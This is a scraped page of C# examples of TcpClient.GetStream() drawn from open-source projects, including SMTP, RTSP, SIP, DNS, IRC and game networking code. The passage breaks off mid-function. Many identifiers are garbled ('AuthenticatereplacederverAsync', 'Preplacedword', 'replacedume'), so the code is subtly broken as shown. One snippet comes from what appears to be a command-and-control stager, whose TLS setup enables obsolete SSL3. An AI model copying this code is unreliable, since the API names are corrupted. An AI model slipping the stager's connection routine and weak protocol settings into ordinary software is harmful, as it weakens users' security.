Here are the examples of the csharp api System.Net.Sockets.TcpClient.GetStream() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
805 Examples
19
Source : ServiceRunner.cs
with GNU Affero General Public License v3.0
from devunt
with GNU Affero General Public License v3.0
from devunt
internal async Task Run()
{
var certificate = CertificateBuilder.Build(Attribute.Hostname);
var listener = new TcpListener(IPAddress.Loopback, Attribute.Port);
listener.Start();
Log.I($"[{Identifier}:{Attribute.Type}] Listening on {Attribute.Hostname}:{Attribute.Port}");
while (true)
{
// Log.D($"[{Identifier}] Waiting for new connection");
var client = await listener.AcceptTcpClientAsync();
// Log.D($"[{Identifier}] Got connection from {client.Client.RemoteEndPoint}");
var sslStream = new SslStream(client.GetStream(), false);
try
{
await sslStream.AuthenticatereplacederverAsync(certificate, false, SslProtocols.Tls12, false);
sslStream.ReadTimeout = 5000;
sslStream.WriteTimeout = 5000;
using (var reader = new StreamReader(sslStream))
{
IAsyncEnumerator<byte[]> responses = null;
switch (Attribute.Type)
{
case HandlerType.Http:
responses = HandleHttpRequest(reader);
break;
case HandlerType.Ws:
responses = HandleWsRequest(reader);
break;
}
try
{
await responses.ForEachAsync(
async response => await sslStream.WriteAsync(response, 0, response.Length));
}
catch (TaskCanceledException) { }
}
}
catch (Exception ex)
{
Log.Ex(ex, $"Exception occured while handling request on {Identifier} ");
}
finally
{
sslStream.Dispose();
client.Close();
}
}
}
19
Source : TcpReaderUtil.cs
with GNU Lesser General Public License v3.0
from DigiByteMiner
with GNU Lesser General Public License v3.0
from DigiByteMiner
public string GetData(string command)
{
int timeoutInMS = 1000;
string output = "";
Stream s = default(Stream);
TcpClient tcpClient = default(TcpClient);
try
{
tcpClient = new TcpClient();
tcpClient.SendTimeout = timeoutInMS;
tcpClient.ReceiveTimeout = timeoutInMS;
tcpClient.Connect(IP, int.Parse(Port));
s = tcpClient.GetStream();
if (s != null)
{
StreamReader sr = new StreamReader(s);
StreamWriter sw = new StreamWriter(s);
sw.AutoFlush = true;
//sw.WriteLine("summary");
sw.WriteLine(command);
output = sr.ReadToEnd();
}
}
catch(Exception e)
{
Logger.Instance.LogError("TcpReaderUtil::GetData: " + e.ToString());
}
finally
{
tcpClient.Close();
if (s != null)
{
s.Close();
}
}
return output;
}
19
Source : MailDemonService_MessageHandler.cs
with MIT License
from DigitalRuby
with MIT License
from DigitalRuby
private async Task HandleClientConnectionAsync(TcpClient tcpClient)
{
if (tcpClient is null || tcpClient.Client is null || !tcpClient.Client.Connected)
{
return;
}
DateTime start = DateTime.UtcNow;
string ipAddress = (tcpClient.Client.RemoteEndPoint as IPEndPoint).Address.ToString();
MailDemonUser authenticatedUser = null;
NetworkStream clientStream = null;
X509Certificate2 sslCert = null;
SslStream sslStream = null;
bool helo = false;
try
{
tcpClient.ReceiveTimeout = tcpClient.SendTimeout = streamTimeoutMilliseconds;
MailDemonLog.Info("Connection from {0}", ipAddress);
// immediately drop if client is blocked
if (CheckBlocked(ipAddress))
{
MailDemonLog.Warn("Blocked {0}", ipAddress);
return;
}
clientStream = tcpClient.GetStream();
// create comm streams
clientStream.ReadTimeout = clientStream.WriteTimeout = streamTimeoutMilliseconds;
Stream reader = clientStream;
StreamWriter writer = new StreamWriter(clientStream, MailDemonExtensionMethods.Utf8EncodingNoByteMarker) { AutoFlush = true, NewLine = "\r\n" };
async Task StartSSL()
{
sslCert = await CertificateCache.Instance.LoadSslCertificateAsync(sslCertificateFile, sslCertificatePrivateKeyFile, sslCertificatePreplacedword);
Tuple <SslStream, Stream, StreamWriter> tls = await StartTls(tcpClient, ipAddress, reader, writer, true, sslCert);
if (tls == null)
{
await writer.WriteLineAsync("503 Failed to start TLS");
await writer.FlushAsync();
throw new IOException("Failed to start TLS, ssl certificate failed to load");
}
else
{
sslStream = tls.Item1;
reader = tls.Item2;
writer = tls.Item3;
}
}
if (port == 465 || port == 587)
{
await StartSSL();
}
MailDemonLog.Info("Connection accepted from {0}", ipAddress);
// send greeting
await writer.WriteLineAsync($"220 {Domain} {greeting}");
await writer.FlushAsync();
IPEndPoint endPoint = tcpClient.Client.RemoteEndPoint as IPEndPoint;
while (true)
{
if ((DateTime.UtcNow - start) > sessionTimeout)
{
throw new TimeoutException($"Session expired after {sessionTimeout.TotalMinutes:0.00} minutes");
}
string line = await ReadLineAsync(reader);
// these commands are allowed before HELO
if (string.IsNullOrWhiteSpace(line) || line.StartsWith("QUIT", StringComparison.OrdinalIgnoreCase))
{
await writer.WriteLineAsync("221 session terminated");
await writer.FlushAsync();
break;
}
else if (line.StartsWith("EHLO", StringComparison.OrdinalIgnoreCase))
{
await HandleEhlo(writer, line, sslStream, sslCert, endPoint);
helo = true;
}
else if (line.StartsWith("STARTTLS", StringComparison.OrdinalIgnoreCase))
{
if (sslStream != null)
{
await writer.WriteLineAsync("503 TLS already initiated");
await writer.FlushAsync();
}
else
{
await StartSSL();
}
}
else if (line.StartsWith("HELO", StringComparison.OrdinalIgnoreCase))
{
await HandleHelo(writer, line, endPoint);
helo = true;
}
else if (line.StartsWith("NOOP", StringComparison.OrdinalIgnoreCase))
{
await writer.WriteLineAsync("220 OK");
await writer.FlushAsync();
}
else if (line.StartsWith("HELP", StringComparison.OrdinalIgnoreCase))
{
await writer.WriteLineAsync("220 OK Please use EHLO command");
await writer.FlushAsync();
}
else if (!helo)
{
throw new InvalidOperationException("Client did not send greeting before line " + line);
}
// these commands may only appear after HELO/EHLO
else if (line.StartsWith("RSET", StringComparison.OrdinalIgnoreCase))
{
await writer.WriteLineAsync($"250 2.0.0 Resetting");
await writer.FlushAsync();
authenticatedUser = null;
}
else if (line.StartsWith("AUTH PLAIN", StringComparison.OrdinalIgnoreCase))
{
authenticatedUser = await AuthenticatePlain(reader, writer, line);
if (authenticatedUser.Authenticated && tcpClient.Client.RemoteEndPoint is IPEndPoint remoteEndPoint)
{
IPBan.IPBanPlugin.IPBanLoginSucceeded("SMTP", authenticatedUser.UserName, remoteEndPoint.Address.ToString());
}
else
{
throw new InvalidOperationException("Authentication failed");
}
}
else if (line.StartsWith("AUTH LOGIN", StringComparison.OrdinalIgnoreCase))
{
authenticatedUser = await AuthenticateLogin(reader, writer, line);
if (authenticatedUser.Authenticated && tcpClient.Client.RemoteEndPoint is IPEndPoint remoteEndPoint)
{
IPBan.IPBanPlugin.IPBanLoginSucceeded("SMTP", authenticatedUser.UserName, remoteEndPoint.Address.ToString());
}
else
{
throw new InvalidOperationException("Authentication failed");
}
}
// if authenticated, only valid line is MAIL FROM
// TODO: The mail from address is ignored, we replacedume only can send as yourself who you authenticated as
// consider error if from address doesn't match
// TODO: consider changing this
else if (authenticatedUser != null)
{
if (line.StartsWith("MAIL FROM:<", StringComparison.OrdinalIgnoreCase))
{
try
{
await SendMail(authenticatedUser, reader, writer, line, endPoint, true);
}
catch (Exception ex)
{
throw new ApplicationException("Error sending mail from " + endPoint, ex);
}
}
else
{
MailDemonLog.Warn("Ignoring client command: {0}", line);
}
}
else
{
if (line.StartsWith("MAIL FROM:<", StringComparison.OrdinalIgnoreCase))
{
// non-authenticated user, forward message on if possible, check settings
try
{
bool result = await ReceiveMail(reader, writer, line, endPoint);
if (!result)
{
await writer.WriteLineAsync("221 session terminated");
await writer.FlushAsync();
break;
}
}
catch (Exception ex)
{
throw new ApplicationException("Error receiving mail from " + endPoint, ex);
}
}
else
{
throw new InvalidOperationException("Invalid message: " + line + ", not authenticated");
}
}
}
}
catch (Exception ex)
{
if (!(ex is SocketException))
{
IncrementFailure(ipAddress, authenticatedUser?.UserName);
MailDemonLog.Error(ex, "{0} error", ipAddress);
}
}
finally
{
sslStream?.Dispose();
clientStream?.Dispose();
MailDemonLog.Info("{0} disconnected", ipAddress);
}
}
19
Source : DroneRPC.cs
with MIT License
from dji-sdk
with MIT License
from dji-sdk
public void ConnectToIotEdge(string TagertIP, int TagertPort)
{
IPAddress address = IPAddress.Parse(TagertIP);
TcpClient client = new TcpClient();
client.Connect(address, TagertPort);
NetworkStream ns = client.GetStream();
string Sendmessage = M_port.ToString();
Byte[] sendBytes = Encoding.UTF8.GetBytes(Sendmessage);
ns.Write(sendBytes, 0, sendBytes.Length);
ns.Close();
client.Close();
}
19
Source : Connection.cs
with GNU General Public License v3.0
from dkuwahara
with GNU General Public License v3.0
from dkuwahara
protected void OnConnect(IPAddress ip, int port)
{
Log.Verbose("[{0}] Connecting to {1}:{2}", GetType(), ip, port);
_tcpClient = new TcpClient();
_tcpClient.Connect(ip, port);
_stream = _tcpClient.GetStream();
if (!_stream.CanWrite)
{
Log.Error("[{0}] Unable to write to {1}:{2}, closing connection", GetType(), ip, port);
Terminate();
throw new UnableToConnectException($"Unable to establish {GetType()}");
}
Initialize();
Log.Verbose("[{0}] Successfully connected to {1}:{2}", GetType(), ip, port);
}
19
Source : DomainBorrowingHttpsStager.cs
with MIT License
from Dliv3
with MIT License
from Dliv3
private SslStream initSsl()
{
X509Certificate2 ourCA = new X509Certificate2();
RemoteCertificateValidationCallback callback = (sender, cert, chain, errors) =>
{
bool valid = true;
if (UseCertPinning && CovenantCertHash != "")
{
valid = cert.GetCertHashString() == CovenantCertHash;
}
if (valid && ValidateCert)
{
valid = errors == SslPolicyErrors.None;
}
return valid;
};
try
{
TcpClient client = new TcpClient(ip, port);
SslStream sslStream = new SslStream(client.GetStream(), false, callback, null);
// ref: https://github.com/cobbr/Covenant/pull/238/files
sslStream.AuthenticateAsClient(sni, null, SslProtocols.Ssl3 | SslProtocols.Tls | (SslProtocols)768 | (SslProtocols)3072 | (SslProtocols)12288, true);
return sslStream;
}
catch (Exception e)
{
Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace);
return null;
}
}
19
Source : TwitchIRC.cs
with MIT License
from donnerlab1
with MIT License
from donnerlab1
public void StartIRC()
{
System.Net.Sockets.TcpClient sock = new System.Net.Sockets.TcpClient();
sock.Connect(server, port);
if (!sock.Connected)
{
Debug.Log("Failed to connect!");
return;
}
var networkStream = sock.GetStream();
var input = new System.IO.StreamReader(networkStream);
var output = new System.IO.StreamWriter(networkStream);
if (genericIRC)
{
// output.WriteLine("Preplaced " + preplacedword);
output.WriteLine("NICK " + nickName.ToLower());
output.Flush();
string USER = "USER " + nickName + " 0 * :" + nickName;
output.WriteLine(USER);
output.Flush();
}
else
{
//Send Preplaced & NICK.
output.WriteLine("Preplaced " + oauth);
output.WriteLine("NICK " + nickName.ToLower());
output.Flush();
}
//output proc
outProc = new System.Threading.Thread(() => IRCOutputProcedure(output));
outProc.Start();
//input proc
inProc = new System.Threading.Thread(() => IRCInputProcedure(input, networkStream));
inProc.Start();
}
19
Source : HistoryAPI.cs
with MIT License
from dotnet-shell
with MIT License
from dotnet-shell
public static async Task SearchResultAsync(string term, int port, string token)
{
using (var client = new TcpClient(IPAddress.Loopback.ToString(), port))
using (var sw = new StreamWriter(client.GetStream()))
{
await sw.WriteLineAsync(token);
await sw.WriteLineAsync(term);
}
}
19
Source : HistoryAPI.cs
with MIT License
from dotnet-shell
with MIT License
from dotnet-shell
public static async Task<string> ListenForSearchResultAsync(Action<int, string> onStartedListening)
{
var result = string.Empty;
var r = new Random();
var token = Guid.NewGuid().ToString();
TcpListener listener;
int port;
while (true)
{
try
{
var randomPortToTry = r.Next(1025, 65535);
listener = new TcpListener(IPAddress.Loopback, randomPortToTry);
listener.Start();
port = randomPortToTry;
break;
}
catch (SocketException)
{
}
}
onStartedListening?.Invoke(port, token);
using (var client = await listener.AcceptTcpClientAsync())
using (var sr = new StreamReader(client.GetStream()))
{
var clientToken = await sr.ReadLineAsync();
if (clientToken != token)
{
throw new InvalidDataException("Invalid token");
}
result = await sr.ReadLineAsync();
}
listener.Stop();
return result;
}
19
Source : ClientSession.cs
with MIT License
from dotnetGame
with MIT License
from dotnetGame
public async Task Startup(CancellationToken cancellationToken)
{
await _tcpClient.ConnectAsync(SessionScope.ServerAddress, SessionScope.ServerPort).ConfigureAwait(false);
using (_remoteStream = _tcpClient.GetStream())
{
SessionScope.ServiceProvider.Resolve<IServerboundPacketSink>().Subscribe(_outcomingPacketObserver);
Connected?.Invoke(this, EventArgs.Empty);
try
{
while (!cancellationToken.IsCancellationRequested)
{
await DispatchIncomingPacket();
}
}
catch (EndOfStreamException)
{
Debug.Log("Connection closed.");
}
}
}
19
Source : ClientSession.cs
with MIT License
from dotnetGame
with MIT License
from dotnetGame
public async Task Startup(CancellationToken cancellationToken)
{
using (_remoteStream = _tcpClient.GetStream())
{
// subscribe observer to get packet from server
_clientboundPacketObserverRef = await _grainFactory.CreateObjectReference<IClientboundPacketObserver>(_outcomingPacketObserver);
await _grainFactory.GetGrain<IClientboundPacketSink>(_sessionId).Subscribe(_clientboundPacketObserverRef);
try
{
DateTime expiredTime = DateTime.Now + TimeSpan.FromSeconds(10);
while (!cancellationToken.IsCancellationRequested &&
!_outcomingPacketDispatcher.Completion.IsCompleted)
{
await DispatchIncomingPacket();
// renew subscribe, 10 sec
if (DateTime.Now > expiredTime)
{
await _grainFactory.GetGrain<IClientboundPacketSink>(_sessionId).Subscribe(_clientboundPacketObserverRef);
expiredTime = DateTime.Now + TimeSpan.FromSeconds(10);
}
}
}
catch (EndOfStreamException)
{
var router = _grainFactory.GetGrain<IPacketRouter>(_sessionId);
await router.Close();
await _outcomingPacketDispatcher.Completion;
}
}
}
19
Source : BSNESTraceLogCapture.cs
with GNU General Public License v3.0
from Dotsarecool
with GNU General Public License v3.0
from Dotsarecool
private static NetworkStream OpenNetworkStream(IPAddress ip = null, int port = 27015)
{
var tcpClient = new TcpClient();
tcpClient.Connect(ip ?? IPAddress.Loopback, port);
return tcpClient.GetStream();
}
19
Source : RTSPClient.cs
with BSD 2-Clause "Simplified" License
from double-hi
with BSD 2-Clause "Simplified" License
from double-hi
public string GetStreamDescription(string url)
{
try
{
string hostname = Regex.Match(url, @"rtsp://(?<hostname>\S+?)/").Result("${hostname}");
//IPEndPoint rtspEndPoint = DNSResolver.R(hostname, DNS_RESOLUTION_TIMEOUT);
logger.Debug("RTSP Client Connecting to " + hostname + ".");
TcpClient rtspSocket = new TcpClient(hostname, RTSP_PORT);
NetworkStream rtspStream = rtspSocket.GetStream();
string rtspSDP = null;
RTSPRequest rtspRequest = new RTSPRequest(RTSPMethodsEnum.DESCRIBE, url);
RTSPHeader rtspHeader = new RTSPHeader(1, null);
rtspRequest.Header = rtspHeader;
string rtspReqStr = rtspRequest.ToString();
RTSPMessage rtspMessage = null;
RTSPResponse rtspResponse = null;
byte[] rtspRequestBuffer = Encoding.UTF8.GetBytes(rtspReqStr);
rtspStream.Write(rtspRequestBuffer, 0, rtspRequestBuffer.Length);
byte[] buffer = new byte[2048];
int bytesRead = rtspStream.Read(buffer, 0, 2048);
if (bytesRead > 0)
{
logger.Debug(Encoding.UTF8.GetString(buffer, 0, bytesRead));
byte[] msgBuffer = new byte[bytesRead];
Buffer.BlockCopy(buffer, 0, msgBuffer, 0, bytesRead);
rtspMessage = RTSPMessage.ParseRTSPMessage(msgBuffer, null, null);
if (rtspMessage.RTSPMessageType == RTSPMessageTypesEnum.Response)
{
rtspResponse = RTSPResponse.ParseRTSPResponse(rtspMessage);
logger.Debug("RTSP Response received: " + rtspResponse.StatusCode + " " + rtspResponse.Status + " " + rtspResponse.ReasonPhrase + ".");
}
rtspSDP = rtspResponse.Body;
}
else
{
logger.Warn("Socket closed prematurely in GetStreamDescription for " + url + ".");
}
rtspSocket.Close();
return rtspSDP;
}
catch (Exception excp)
{
logger.Error("Exception GetStreamDescription. " + excp.Message);
throw excp;
}
}
19
Source : Resolver.cs
with BSD 2-Clause "Simplified" License
from double-hi
with BSD 2-Clause "Simplified" License
from double-hi
private DNSResponse TcpRequest(DNSRequest request, List<IPEndPoint> dnsServers, int timeout)
{
//System.Diagnostics.Stopwatch sw = new System.Diagnostics.Stopwatch();
//sw.Start();
byte[] responseMessage = new byte[512];
for (int intAttempts = 0; intAttempts < m_Retries; intAttempts++)
{
for (int intDnsServer = 0; intDnsServer < dnsServers.Count; intDnsServer++)
{
var tcpClient = new TcpClient
{
ReceiveTimeout = timeout * 1000
};
try
{
IAsyncResult result = tcpClient.BeginConnect(dnsServers[intDnsServer].Address, dnsServers[intDnsServer].Port, null, null);
bool success = result.AsyncWaitHandle.WaitOne(timeout * 1000, true);
if (!success || !tcpClient.Connected)
{
tcpClient.Close();
Verbose(string.Format(";; Connection to nameserver {0} failed", (intDnsServer + 1)));
continue;
}
BufferedStream bs = new BufferedStream(tcpClient.GetStream());
byte[] data = request.Data;
bs.WriteByte((byte)((data.Length >> 8) & 0xff));
bs.WriteByte((byte)(data.Length & 0xff));
bs.Write(data, 0, data.Length);
bs.Flush();
DNSResponse TransferResponse = new DNSResponse();
int intSoa = 0;
int intMessageSize = 0;
//Debug.WriteLine("Sending "+ (request.Length+2) + " bytes in "+ sw.ElapsedMilliseconds+" mS");
while (true)
{
int intLength = bs.ReadByte() << 8 | bs.ReadByte();
if (intLength <= 0)
{
tcpClient.Close();
Verbose(string.Format(";; Connection to nameserver {0} failed", (intDnsServer + 1)));
throw new SocketException(); // next try
}
intMessageSize += intLength;
data = new byte[intLength];
bs.Read(data, 0, intLength);
DNSResponse response = new DNSResponse(dnsServers[intDnsServer], data);
//Debug.WriteLine("Received "+ (intLength+2)+" bytes in "+sw.ElapsedMilliseconds +" mS");
if (response.header.RCODE != RCode.NOERROR)
return response;
if (response.Questions[0].QType != DNSQType.AXFR)
{
//AddToCache(response);
return response;
}
// Zone transfer!!
if (TransferResponse.Questions.Count == 0)
TransferResponse.Questions.AddRange(response.Questions);
TransferResponse.Answers.AddRange(response.Answers);
TransferResponse.Authorities.AddRange(response.Authorities);
TransferResponse.Additionals.AddRange(response.Additionals);
if (response.Answers[0].Type == DNSType.SOA)
intSoa++;
if (intSoa == 2)
{
TransferResponse.header.QDCOUNT = (ushort)TransferResponse.Questions.Count;
TransferResponse.header.ANCOUNT = (ushort)TransferResponse.Answers.Count;
TransferResponse.header.NSCOUNT = (ushort)TransferResponse.Authorities.Count;
TransferResponse.header.ARCOUNT = (ushort)TransferResponse.Additionals.Count;
TransferResponse.MessageSize = intMessageSize;
return TransferResponse;
}
}
} // try
catch (SocketException)
{
continue; // next try
}
finally
{
m_Unique++;
// close the socket
tcpClient.Close();
}
}
}
DNSResponse responseTimeout = new DNSResponse
{
Timedout = true
};
return responseTimeout;
}
19
Source : RTSPClient.cs
with BSD 2-Clause "Simplified" License
from double-hi
with BSD 2-Clause "Simplified" License
from double-hi
public void Start(string url)
{
_url = url;
Match urlMatch = Regex.Match(url, @"rtsp://(?<hostname>\S+?)/", RegexOptions.IgnoreCase);
if (!urlMatch.Success)
{
throw new ApplicationException("The URL provided to the RTSP client was not recognised, " + url + ".");
}
else
{
string hostname = urlMatch.Result("${hostname}");
int port = RTSP_PORT;
if (hostname.Contains(':'))
{
port = SIPSorcery.GB28181.Sys.IPSocket.ParsePortFromSocket(hostname);
hostname = SIPSorcery.GB28181.Sys.IPSocket.ParseHostFromSocket(hostname);
}
logger.Debug("RTSP client connecting to " + hostname + ", port " + port + ".");
_rtspConnection = new TcpClient(hostname, port);
_rtspStream = _rtspConnection.GetStream();
_rtspSession = new RTSPSession();
_rtspSession.RTPPayloadHeaderLength = _rtpPayloadHeaderLength;
_rtspSession.ReservePorts();
_rtspSession.OnRTPQueueFull += RTPQueueFull;
RTSPRequest rtspRequest = new RTSPRequest(RTSPMethodsEnum.SETUP, url);
RTSPHeader rtspHeader = new RTSPHeader(_cseq++, null);
rtspHeader.Transport = new RTSPTransportHeader() { ClientRTPPortRange = _rtspSession.RTPPort + "-" + _rtspSession.ControlPort };
rtspRequest.Header = rtspHeader;
string rtspReqStr = rtspRequest.ToString();
RTSPMessage rtspMessage = null;
System.Diagnostics.Debug.WriteLine(rtspReqStr);
byte[] rtspRequestBuffer = Encoding.UTF8.GetBytes(rtspReqStr);
_rtspStream.Write(rtspRequestBuffer, 0, rtspRequestBuffer.Length);
byte[] buffer = new byte[2048];
int bytesRead = _rtspStream.Read(buffer, 0, 2048);
if (bytesRead > 0)
{
System.Diagnostics.Debug.WriteLine(Encoding.UTF8.GetString(buffer, 0, bytesRead));
rtspMessage = RTSPMessage.ParseRTSPMessage(buffer, null, null);
if (rtspMessage.RTSPMessageType == RTSPMessageTypesEnum.Response)
{
var setupResponse = RTSPResponse.ParseRTSPResponse(rtspMessage);
if (setupResponse.Status == RTSPResponseStatusCodesEnum.OK)
{
_rtspSession.SessionID = setupResponse.Header.Session;
_rtspSession.RemoteEndPoint = new IPEndPoint((_rtspConnection.Client.RemoteEndPoint as IPEndPoint).Address, setupResponse.Header.Transport.GetServerRTPPort());
_rtspSession.Start();
logger.Debug("RTSP Response received to SETUP: " + setupResponse.Status + ", session ID " + _rtspSession.SessionID + ", server RTP endpoint " + _rtspSession.RemoteEndPoint + ".");
if (OnSetupSuccess != null)
{
OnSetupSuccess(this);
}
}
else
{
logger.Warn("RTSP Response received to SETUP: " + setupResponse.Status + ".");
throw new ApplicationException("An error response of " + setupResponse.Status + " was received for an RTSP setup request.");
}
}
}
else
{
throw new ApplicationException("Zero bytes were read from the RTSP client socket in response to a SETUP request.");
}
}
}
19
Source : RTSPServer.cs
with BSD 2-Clause "Simplified" License
from double-hi
with BSD 2-Clause "Simplified" License
from double-hi
private void AcceptConnections(string threadName)
{
try
{
Thread.CurrentThread.Name = threadName;
logger.Debug("RTSP server socket on " + m_localIPEndPoint + " accept connections thread started.");
while (!Closed)
{
try
{
TcpClient tcpClient = m_tcpServerListener.AcceptTcpClient();
tcpClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
IPEndPoint remoteEndPoint = (IPEndPoint)tcpClient.Client.RemoteEndPoint;
logger.Debug("RTSP server accepted connection from " + remoteEndPoint + ".");
RTSPConnection rtspClientConnection = new RTSPConnection(this, tcpClient.GetStream(), remoteEndPoint);
lock (m_connectedSockets)
{
m_connectedSockets.Add(remoteEndPoint.ToString(), rtspClientConnection);
}
rtspClientConnection.RTSPSocketDisconnected += RTSPClientDisconnected;
rtspClientConnection.RTSPMessageReceived += RTSPMessageReceived;
rtspClientConnection.Stream.BeginRead(rtspClientConnection.SocketBuffer, 0, MaxMessageSize, new AsyncCallback(ReceiveCallback), rtspClientConnection);
}
catch (Exception acceptExcp)
{
// This exception gets thrown if the remote end disconnects during the socket accept.
logger.Warn("Exception RTSPServer accepting socket (" + acceptExcp.GetType() + "). " + acceptExcp.Message);
}
}
logger.Debug("RTSP server socket on " + m_localIPEndPoint + " listening halted.");
}
catch (Exception excp)
{
logger.Error("Exception RTSPServer Listen. " + excp.Message);
}
}
19
Source : SIPConnection.cs
with BSD 2-Clause "Simplified" License
from double-hi
with BSD 2-Clause "Simplified" License
from double-hi
public void Close()
{
try
{
if (_tcpClient.GetStream() != null)
{
_tcpClient.GetStream().Close(0);
}
if (_tcpClient.Client != null && _tcpClient.Client.Connected == true)
{
_tcpClient.Client.Shutdown(SocketShutdown.Both);
_tcpClient.Client.Close(0);
}
_tcpClient.Close();
}
catch (Exception closeExcp)
{
logger.Warn("Exception closing socket in SIPConnection Close. " + closeExcp.Message);
}
}
19
Source : SIPTCPChannel.cs
with BSD 2-Clause "Simplified" License
from double-hi
with BSD 2-Clause "Simplified" License
from double-hi
private void AcceptConnections(string threadName)
{
try
{
Thread.CurrentThread.Name = threadName;
logger.Debug("SIPTCPChannel socket on " + m_localSIPEndPoint + " accept connections thread started.");
while (!Closed)
{
try
{
TcpClient tcpClient = m_tcpServerListener.AcceptTcpClient();
if (!Closed)
{
tcpClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
tcpClient.LingerState = new LingerOption(false, 0);
//clientSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
//IPEndPoint remoteEndPoint = (IPEndPoint)clientSocket.RemoteEndPoint;
IPEndPoint remoteEndPoint = (IPEndPoint)tcpClient.Client.RemoteEndPoint;
logger.Debug("SIP TCP Channel connection accepted from " + remoteEndPoint + ".");
//SIPTCPConnection sipTCPClient = new SIPTCPConnection(this, clientSocket, remoteEndPoint, SIPTCPConnectionsEnum.Listener);
SIPConnection sipTCPConnection = new SIPConnection(this, tcpClient, tcpClient.GetStream(), remoteEndPoint, SIPProtocolsEnum.tcp, SIPConnectionsEnum.Listener);
//SIPConnection sipTCPClient = new SIPConnection(this, tcpClient.Client, remoteEndPoint, SIPProtocolsEnum.tcp, SIPConnectionsEnum.Listener);
lock (m_connectedSockets)
{
m_connectedSockets.Add(remoteEndPoint.ToString(), sipTCPConnection);
}
sipTCPConnection.SIPSocketDisconnected += SIPTCPSocketDisconnected;
sipTCPConnection.SIPMessageReceived += SIPTCPMessageReceived;
// clientSocket.BeginReceive(sipTCPClient.SocketBuffer, 0, SIPTCPConnection.MaxSIPTCPMessageSize, SocketFlags.None, new AsyncCallback(sipTCPClient.ReceiveCallback), null);
//byte[] receiveBuffer = new byte[MaxSIPTCPMessageSize];
sipTCPConnection.SIPStream.BeginRead(sipTCPConnection.SocketBuffer, 0, MaxSIPTCPMessageSize, new AsyncCallback(ReceiveCallback), sipTCPConnection);
}
}
catch (Exception acceptExcp)
{
// This exception gets thrown if the remote end disconnects during the socket accept.
logger.Warn("Exception SIPTCPChannel accepting socket (" + acceptExcp.GetType() + "). " + acceptExcp.Message);
}
}
logger.Debug("SIPTCPChannel socket on " + m_localSIPEndPoint + " listening halted.");
}
catch (Exception excp)
{
logger.Error("Exception SIPTCPChannel Listen. " + excp.Message);
//throw excp;
}
}
19
Source : SIPTCPChannel.cs
with BSD 2-Clause "Simplified" License
from double-hi
with BSD 2-Clause "Simplified" License
from double-hi
private void EndConnect(IAsyncResult ar)
{
bool connected = false;
IPEndPoint dstEndPoint = null;
try
{
object[] stateObj = (object[])ar.AsyncState;
TcpClient tcpClient = (TcpClient)stateObj[0];
dstEndPoint = (IPEndPoint)stateObj[1];
byte[] buffer = (byte[])stateObj[2];
m_connectingSockets.Remove(dstEndPoint.ToString());
tcpClient.EndConnect(ar);
if (tcpClient != null && tcpClient.Connected)
{
logger.Debug("Established TCP connection to " + dstEndPoint + ".");
connected = true;
m_connectionFailureStrikes.Remove(dstEndPoint.ToString());
m_connectionFailures.Remove(dstEndPoint.ToString());
SIPConnection callerConnection = new SIPConnection(this, tcpClient, tcpClient.GetStream(), dstEndPoint, SIPProtocolsEnum.tcp, SIPConnectionsEnum.Caller);
m_connectedSockets.Add(dstEndPoint.ToString(), callerConnection);
callerConnection.SIPSocketDisconnected += SIPTCPSocketDisconnected;
callerConnection.SIPMessageReceived += SIPTCPMessageReceived;
//byte[] receiveBuffer = new byte[MaxSIPTCPMessageSize];
callerConnection.SIPStream.BeginRead(callerConnection.SocketBuffer, 0, MaxSIPTCPMessageSize, new AsyncCallback(ReceiveCallback), callerConnection);
callerConnection.SIPStream.BeginWrite(buffer, 0, buffer.Length, EndSend, callerConnection);
}
else
{
logger.Warn("Could not establish TCP connection to " + dstEndPoint + ".");
}
}
catch (SocketException sockExcp)
{
logger.Warn("SocketException SIPTCPChannel EndConnect. " + sockExcp.Message);
}
catch (Exception excp)
{
logger.Error("Exception SIPTCPChannel EndConnect (" + excp.GetType() + "). " + excp.Message);
}
finally
{
if (!connected && dstEndPoint != null)
{
if (m_connectionFailureStrikes.ContainsKey(dstEndPoint.ToString()))
{
m_connectionFailureStrikes[dstEndPoint.ToString()] = m_connectionFailureStrikes[dstEndPoint.ToString()] + 1;
}
else
{
m_connectionFailureStrikes.Add(dstEndPoint.ToString(), 1);
}
if (m_connectionFailureStrikes[dstEndPoint.ToString()] >= CONNECTION_ATTEMPTS_ALLOWED)
{
if (!m_connectionFailures.ContainsKey(dstEndPoint.ToString()))
{
m_connectionFailures.Add(dstEndPoint.ToString(), DateTime.Now);
}
m_connectionFailureStrikes.Remove(dstEndPoint.ToString());
}
}
}
}
19
Source : SIPTLSChannel.cs
with BSD 2-Clause "Simplified" License
from double-hi
with BSD 2-Clause "Simplified" License
from double-hi
private void AcceptConnections(string threadName)
{
try
{
Thread.CurrentThread.Name = threadName;
logger.Debug("SIPTLSChannel socket on " + m_localSIPEndPoint + " accept connections thread started.");
while (!Closed)
{
try
{
TcpClient tcpClient = m_tlsServerListener.AcceptTcpClient();
tcpClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
IPEndPoint remoteEndPoint = (IPEndPoint)tcpClient.Client.RemoteEndPoint;
logger.Debug("SIP TLS Channel connection accepted from " + remoteEndPoint + ".");
SslStream sslStream = new SslStream(tcpClient.GetStream(), false);
SIPConnection sipTLSConnection = new SIPConnection(this, tcpClient, sslStream, remoteEndPoint, SIPProtocolsEnum.tls, SIPConnectionsEnum.Listener);
sslStream.BeginAuthenticatereplacederver(m_serverCertificate, EndAuthenticatereplacederver, sipTLSConnection);
//sslStream.Authenticatereplacederver(m_serverCertificate, false, SslProtocols.Tls, false);
//// Display the properties and settings for the authenticated stream.
////DisplaySecurityLevel(sslStream);
////DisplaySecurityServices(sslStream);
////DisplayCertificateInformation(sslStream);
////DisplayStreamProperties(sslStream);
//// Set timeouts for the read and write to 5 seconds.
//sslStream.ReadTimeout = 5000;
//sslStream.WriteTimeout = 5000;
////SIPConnection sipTLSConnection = new SIPConnection(this, sslStream, remoteEndPoint, SIPProtocolsEnum.tls, SIPConnectionsEnum.Listener);
//m_connectedSockets.Add(remoteEndPoint.ToString(), sipTLSConnection);
//sipTLSConnection.SIPSocketDisconnected += SIPTLSSocketDisconnected;
//sipTLSConnection.SIPMessageReceived += SIPTLSMessageReceived;
////byte[] receiveBuffer = new byte[MaxSIPTCPMessageSize];
